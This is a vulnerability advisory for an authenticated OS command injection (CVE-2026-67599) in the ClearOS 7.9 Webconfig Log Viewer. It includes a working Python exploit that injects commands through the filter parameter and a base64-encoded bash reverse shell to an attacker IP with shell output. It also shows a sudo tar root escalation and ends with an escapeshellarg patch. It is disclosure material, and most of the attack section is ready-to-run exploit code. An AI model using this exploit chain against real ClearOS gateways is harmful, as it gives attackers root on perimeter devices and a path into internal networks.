OS Command Injection in Log Viewer Filter Parameter

Package: ClearFoundation Tested Versions: ClearOS 7.9.1.342252
Vulnerability Type: OS Command Injection (CWE-78)
Severity: High
CVE: CVE-2026-67599
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Score: 7.2)

Thank you to VulnCheck for the help assigning and tracking this CVE-2026-67599 on my behalf.

Product Description

ClearOS is an operating system built on CentOS/RHEL designed to serve as a network gateway, Unified Threat Management (UTM) platform, and edge server for small to mid-sized organizations. Operating primarily as an edge device, it manages firewall rules, VPN connections, routing, and core network infrastructure.

Because ClearOS is deployed at the network perimeter, administrative interfaces like Webconfig (port 81) are frequently exposed to management segments or directly to external networks. A command execution vulnerability in this interface allows an attacker to compromise the gateway, gain a persistence foothold on the edge, and pivot directly into internal network segments.

Affected Files

/usr/clearos/apps/base/libraries/File.php — lines 297, 314

Root Cause

The filter parameter submitted to the Log Viewer endpoint is passed unsanitized into a shell command constructed in File.php. The $regex value is interpolated directly into the command string rather than passed as a properly escaped argument, allowing command substitution payloads such as $(...) or backtick expressions to execute as the webconfig user.

PoC

I stumbled across this during an active engagement. Here is a simple artifact generator.

#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

Reverse shell example (attacker on .1, target on .129):

python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

Confirmed output:

Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

Privilege escalation to root is easily done via default, very permissive sudoers rules:

bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

In the example below, using the tar binary to escalate to root:

bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

Impact

An authenticated web interface user with access to Reports results in full OS-level command execution as the webconfig user. In a default ClearOS 7.9 installation, webconfig is granted extensive NOPASSWD sudo privileges, allowing immediate escalation to root without additional credentials. An attacker can achieve persistent root access to the underlying host, including all data, services, and network configurations managed by the system.

Suggested Remediation

ClearOS is End-of-Life. The latest, still downloadable distribution from clearos.com (version ClearOS-7.9.1.342252) dates back to October 13, 2021, and receives zero upstream maintenance or security updates.

Because of this, the code fix below is strictly a temporary band-aid. Running an unmaintained OS on your network perimeter is playing with fire. The strongly recommended path forward is to migrate off ClearOS entirely to a supported edge device or UTM platform.

Temporary Workaround (PHP Patch)

If you must keep this host alive while planning a migration, wrap $regex in escapeshellarg() on lines 297 and 314 of /usr/clearos/apps/base/libraries/File.php to change from:

'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

To:

'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

Then restart the webconfig service:

sudo systemctl restart webconfig

CVE-2026-67599_ClearOS_RCE

Most Popular